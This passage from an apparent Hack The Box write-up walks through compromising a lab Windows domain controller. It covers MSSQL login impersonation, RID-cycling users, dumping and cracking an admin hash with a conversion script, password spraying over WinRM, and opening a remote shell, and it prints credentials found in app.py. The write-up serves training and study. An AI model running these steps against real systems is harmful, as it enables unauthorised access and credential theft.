      <td><code class="language-plaintext highlighter-rouge">%D7%99%D7%9D</code></td>
      <td><code class="language-plaintext highlighter-rouge">ים</code></td>
      <td>Hebrew characters (yod + mem)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E9%99%A4%E6%8A%95%E7%A5%A8</code></td>
      <td><code class="language-plaintext highlighter-rouge">除投票</code></td>
      <td>Chinese: “remove voting”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E9%99%A4%E5%80%99%E9%80%89</code></td>
      <td><code class="language-plaintext highlighter-rouge">除候选</code></td>
      <td>Chinese: “remove candidate”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E4%BE%B5%E6%9D%83</code></td>
      <td><code class="language-plaintext highlighter-rouge">侵权</code></td>
      <td>Chinese: “infringement”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E8%AE%A8%E8%AE%BA</code></td>
      <td><code class="language-plaintext highlighter-rouge">讨论</code></td>
      <td>Chinese: “discussion”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C4%BC</code></td>
      <td><code class="language-plaintext highlighter-rouge">ļ</code></td>
      <td>Latvian letter</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%CC%A8%C4%BC</code></td>
      <td><code class="language-plaintext highlighter-rouge">̨ļ</code></td>
      <td>Combining cedilla + ļ</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E7%89%B9%E6%AE%8A</code></td>
      <td><code class="language-plaintext highlighter-rouge">特殊</code></td>
      <td>Chinese: “special”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%DD%BF%C4%BC</code></td>
      <td><code class="language-plaintext highlighter-rouge">ݿļ</code></td>
      <td>Arabic/Latvian chars</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C5%B1%C4%BC</code></td>
      <td><code class="language-plaintext highlighter-rouge">űļ</code></td>
      <td>Hungarian/Latvian chars</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C4%A3%C4%BC</code></td>
      <td><code class="language-plaintext highlighter-rouge">ģļ</code></td>
      <td>Latvian chars</td>
    </tr>
  </tbody>
</table>

<p>These all return 200 with the same response size (74l/156w/2253c) as the root <code class="language-plaintext highlighter-rouge">/</code>, meaning the app is treating any unrecognized path as equivalent to the homepage rather than returning a 404. These are just noise from the wordlist containing Unicode entries. Nothing actionable here.</p>

<h3 id="mssql---tcp-1433">MSSQL - TCP 1433</h3>

<h4 id="basic-enumeration">Basic Enumeration</h4>

<p>I’ll connect to the database using <code class="language-plaintext highlighter-rouge">mssqlclient.py</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py eighteen.htb/kevin:<span class="s1">'iNa2we6haRj2gaw!'</span>@eighteen.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (kevin  guest@master)&gt;</span><span class="w"> 
</span></code></pre></div></div>

<p>I don’t have admin access, so I can’t run commands or enable <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>xp_cmdshell <span class="nb">whoami</span>
<span class="go">ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
</span><span class="gp">SQL (kevin  guest@master)&gt; </span>enable_xp_cmdshell
<span class="go">ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
</span></code></pre></div></div>

<p>There is one non-standard DB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>enum_db
<span class="go">name                is_trustworthy_on   
-----------------   -----------------   
master                              0   
tempdb                              0   
model                               0   
msdb                                1   
financial_planner                   0 
</span></code></pre></div></div>

<p>kevin can’t access it:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>use financial_planner<span class="p">;</span>
<span class="go">ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
</span></code></pre></div></div>

<p>The users are the standard MSSQL users:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>enum_users<span class="p">;</span>
<span class="go">UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL   
</span><span class="gp">SQL (kevin  guest@master)&gt; </span>enum_logins<span class="p">;</span>
<span class="go">name     type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
------   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa       SQL_LOGIN             0          1               0             0            0              0           0           0           0   
kevin    SQL_LOGIN             0          0               0             0            0              0           0           0           0   
appdev   SQL_LOGIN             0          0               0             0            0              0           0           0           0  
</span></code></pre></div></div>

<p>For logins, in addition to the default admin account, sa, and kevin, there’s appdev. This is likely the account that works with the web application, and therefore likely can access the database.</p>

<p>There is one server linked to this instance, DC01:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>enum_links
<span class="go">SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
</span></code></pre></div></div>

<p>The server is configured to allow kevin to impersonate the appdev account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt; </span>enum_impersonate
<span class="go">execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev   
</span></code></pre></div></div>

<p>This will be useful shortly.</p>

<h4 id="user-enumeration">User Enumeration</h4>

<p>I can do a RID cycle attack through MSSQL. I walked through how to do this manually in <a href="/2026/02/07/htb-signed.html#domain-users">HTB Signed</a>. <code class="language-plaintext highlighter-rouge">netexec</code> will do it easily:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql eighteen.htb <span class="nt">-u</span> kevin <span class="nt">-p</span> <span class="s1">'iNa2we6haRj2gaw!'</span> <span class="nt">--local-auth</span> <span class="nt">--rid-brute</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> DC01\kevin:iNa2we6haRj2gaw! 
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             498: EIGHTEEN\Enterprise Read-only Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             500: EIGHTEEN\Administrator
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             501: EIGHTEEN\Guest
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             502: EIGHTEEN\krbtgt
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             512: EIGHTEEN\Domain Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             513: EIGHTEEN\Domain Users
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             514: EIGHTEEN\Domain Guests
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             515: EIGHTEEN\Domain Computers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             516: EIGHTEEN\Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             517: EIGHTEEN\Cert Publishers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             518: EIGHTEEN\Schema Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             519: EIGHTEEN\Enterprise Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             520: EIGHTEEN\Group Policy Creator Owners
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             521: EIGHTEEN\Read-only Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             522: EIGHTEEN\Cloneable Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             525: EIGHTEEN\Protected Users
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             526: EIGHTEEN\Key Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             527: EIGHTEEN\Enterprise Key Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             528: EIGHTEEN\Forest Trust Accounts
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             529: EIGHTEEN\External Trust Accounts
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             553: EIGHTEEN\RAS and IAS Servers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             571: EIGHTEEN\Allowed RODC Password Replication Group
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             572: EIGHTEEN\Denied RODC Password Replication Group
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1000: EIGHTEEN\DC01$
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1101: EIGHTEEN\DnsAdmins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1102: EIGHTEEN\DnsUpdateProxy
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1601: EIGHTEEN\mssqlsvc
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1603: EIGHTEEN\HR
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1604: EIGHTEEN\IT
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1605: EIGHTEEN\Finance
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1606: EIGHTEEN\jamie.dunn
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1607: EIGHTEEN\jane.smith
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1608: EIGHTEEN\alice.jones
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1609: EIGHTEEN\adam.scott
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1610: EIGHTEEN\bob.brown
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1611: EIGHTEEN\carol.white
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             1612: EIGHTEEN\dave.green
</span></code></pre></div></div>

<p>It looks like the username structure is <code class="language-plaintext highlighter-rouge">&lt;first&gt;.&lt;last&gt;</code>. I’ll grab all of those into a file:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql eighteen.htb <span class="nt">-u</span> kevin <span class="nt">-p</span> <span class="s1">'iNa2we6haRj2gaw!'</span> <span class="nt">--local-auth</span> <span class="nt">--rid-brute</span> | <span class="nb">grep</span> <span class="nt">-oP</span> <span class="s1">'EIGHTEEN\\\w+\.\w+'</span> | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'\'</span> <span class="nt">-f2</span> | <span class="nb">tee users</span>
<span class="go">jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
</span></code></pre></div></div>

<h2 id="shell-as-adamscott">Shell as adam.scott</h2>

<h3 id="site-admin-access">Site Admin Access</h3>

<h4 id="recover-admin-hash">Recover admin Hash</h4>

<p>I noted <a href="#basic-enumeration">above</a> that kevin could impersonate the appdev account. I’ll switch to that account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (kevin  guest@master)&gt;</span><span class="w"> </span>exec_as_login appdev
<span class="gp">SQL (appdev  appdev@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>This user can access <code class="language-plaintext highlighter-rouge">financial_planner</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (appdev  appdev@master)&gt; </span>use financial_planner
<span class="go">ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
</span><span class="gp">SQL (appdev  appdev@financial_planner)&gt; </span><span class="w">
</span></code></pre></div></div>

<p>I’ll get the tables in the current database:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (appdev  appdev@financial_planner)&gt; </span><span class="k">SELECT</span> <span class="n">name</span> <span class="k">FROM</span> <span class="n">sysobjects</span> <span class="k">WHERE</span> <span class="n">xtype</span><span class="o">=</span><span class="s1">'U'</span><span class="p">;</span>
<span class="go">name          
-----------   
users         
incomes       
expenses      
allocations   
analytics     
visits
</span></code></pre></div></div>

<p>The most interesting is <code class="language-plaintext highlighter-rouge">users</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (appdev  appdev@financial_planner)&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
<span class="go">  id   full_name   username   email                password_hash                                                                                            is_admin   created_at   
----   ---------   --------   ------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133          1   2025-10-29 05:39:03
</span></code></pre></div></div>

<h4 id="crack-hash">Crack Hash</h4>

<p>The hash is not in the format <code class="language-plaintext highlighter-rouge">hashcat</code> expects. On its <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">example hashes page</a> there’s an example for mode 10900, PBKDF2-HMAC-SHA256:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
</code></pre></div></div>

<p>The format of that hash is <code class="language-plaintext highlighter-rouge">&lt;HMAC&gt;:&lt;iterations&gt;:&lt;salt base64&gt;:&lt;hash base64&gt;</code>. The hash in the database is a Werkzeug-generated hash. I showed reformatting this in <a href="/2025/03/01/htb-instant.html#format-hashes">HTB Instant</a> using a Python script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">base64</span>
<span class="kn">import</span> <span class="n">codecs</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">sys</span>


<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">usage: </span><span class="si">{</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> &lt;werkzeug hash file&gt;</span><span class="sh">'</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s">Input file has Werkzeug hashes one per line</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">hashes</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">readlines</span><span class="p">()</span>

<span class="k">for</span> <span class="n">h</span> <span class="ow">in</span> <span class="n">hashes</span><span class="p">:</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">match</span><span class="p">(</span><span class="sa">r</span><span class="sh">'</span><span class="s">pbkdf2:sha256:(\d*)\$([^\$]*)\$(.*)</span><span class="sh">'</span><span class="p">,</span> <span class="n">h</span><span class="p">)</span>
    <span class="n">iterations</span> <span class="o">=</span>  <span class="n">m</span><span class="p">.</span><span class="nf">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">salt</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="nf">group</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">hashe</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="nf">group</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">sha256:</span><span class="si">{</span><span class="n">iterations</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">salt</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">codecs</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="n">hashe</span><span class="p">,</span><span class="sh">'</span><span class="s">hex</span><span class="sh">'</span><span class="p">)).</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>I’ll use that same script here to reformat the hash:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run werkzeug_to_hashcat.py &lt;<span class="o">(</span> <span class="nb">echo</span> <span class="s1">'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'</span> <span class="o">)</span> | <span class="nb">tee </span>admin.hash
<span class="go">sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
</span></code></pre></div></div>

<p>The script takes a file with one hash per line. I’ll use <a href="https://en.wikipedia.org/wiki/Process_substitution">process substitution</a> to just <code class="language-plaintext highlighter-rouge">echo</code> that one hash into a temp file with the <code class="language-plaintext highlighter-rouge">&lt;()</code> format.</p>

<p>I’ll pass <code class="language-plaintext highlighter-rouge">admin.hash</code> to <code class="language-plaintext highlighter-rouge">hashcat</code>, where it recognizes the format, and cracks the hash in about 25 seconds on my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat admin.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
...[snip]...
</span></code></pre></div></div>

<h4 id="website-access">Website Access</h4>

<p>Logging into the website as admin with the password “iloveyou1” works:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406183017752.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406183017752.png" alt="image-20260406183017752" class="include_image " />
</picture>

<p>I can now access the Admin page:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406183032557.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406183032557.png" alt="image-20260406183032557" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>It shows the database is MSSQL on dc01.eighteen.htb, and that this app is called Flask Financial Planner v1.0. There’s nothing else interesting here.</p>

<h3 id="winrm">WinRM</h3>

<h4 id="password-spray">Password Spray</h4>

<p>I’ve got a list of users from <a href="#user-enumeration">above</a> and a password. I’ll spray it to see if any of the domain users reuse the same password as the website admin:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm eighteen.htb <span class="nt">-u</span> <span class="nb">users</span> <span class="nt">-p</span> iloveyou1 <span class="nt">--continue-on-success</span> 
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\jamie.dunn:iloveyou1
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\jane.smith:iloveyou1
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\alice.jones:iloveyou1
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> eighteen.htb\adam.scott:iloveyou1 </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\bob.brown:iloveyou1
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\carol.white:iloveyou1
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\dave.green:iloveyou1
</span></code></pre></div></div>

<p>adam.scott shares that password and is in a group that allows WinRM access.</p>

<h4 id="shell">Shell</h4>

<p>I’ll connect with <a href="https://github.com/adityatelange/evil-winrm-py">evil-winrm-py</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> eighteen.htb <span class="nt">-u</span> adam.scott <span class="nt">-p</span> iloveyou1
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'eighteen.htb:5985' as 'adam.scott'
</span><span class="gp">evil-winrm-py PS C:\Users\adam.scott\Documents&gt;</span><span class="w">
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\adam.scott\Desktop&gt; </span><span class="n">cat</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span><span class="go">fcebc703************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="host">Host</h4>

<p>Other than <code class="language-plaintext highlighter-rouge">user.txt</code>, adam.scott’s home directory is empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\adam.scott&gt; </span><span class="n">tree</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="go">Folder PATH listing
Volume serial number is E154-392A
C:\USERS\ADAM.SCOTT
+---Desktop
¦       user.txt
¦       
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
</span></code></pre></div></div>

<p>There are the standard <code class="language-plaintext highlighter-rouge">Public</code> and <code class="language-plaintext highlighter-rouge">Administrator</code> home directories, and also <code class="language-plaintext highlighter-rouge">mssqlsvc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users&gt; </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/13/2025  12:55 AM                adam.scott
d-----        11/10/2025   2:15 PM                Administrator
d-----        11/11/2025   9:36 AM                mssqlsvc
d-r---         3/23/2025   8:38 PM                Public       
</span></code></pre></div></div>

<p>It’s unusual in the real world (and to a lesser degree the HTB world) to see a service account with a home directory. This means that the account has logged in interactively at some point. Service accounts like MSSQL typically run as NT SERVICE\MSSQLSERVER or a managed service account and don’t get user profiles.</p>

<p>The website is run from <code class="language-plaintext highlighter-rouge">C:\inetpub\eighteen.htb</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\inetpub\eighteen.htb&gt; </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\inetpub\eighteen.htb

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/27/2025   1:12 PM                static
d-----         11/8/2025   6:29 AM                templates
-a----         11/8/2025   6:49 AM          10646 app.py
-a----        10/27/2025   1:15 PM             57 requirements.txt
-a----        11/10/2025  12:18 PM            611 web.config  
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">app.py</code> has all the Flask routes, plus the config for connecting to the database:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DB_CONFIG</span> <span class="o">=</span> <span class="p">{</span>                                                      
    <span class="sh">'</span><span class="s">server</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">dc01.eighteen.htb</span><span class="sh">'</span><span class="p">,</span>                                 
    <span class="sh">'</span><span class="s">database</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">financial_planner</span><span class="sh">'</span><span class="p">,</span>                               
    <span class="sh">'</span><span class="s">username</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">appdev</span><span class="sh">'</span><span class="p">,</span>                                          
    <span class="sh">'</span><span class="s">password</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MissThisElite$90</span><span class="sh">'</span><span class="p">,</span>                                                                                                    
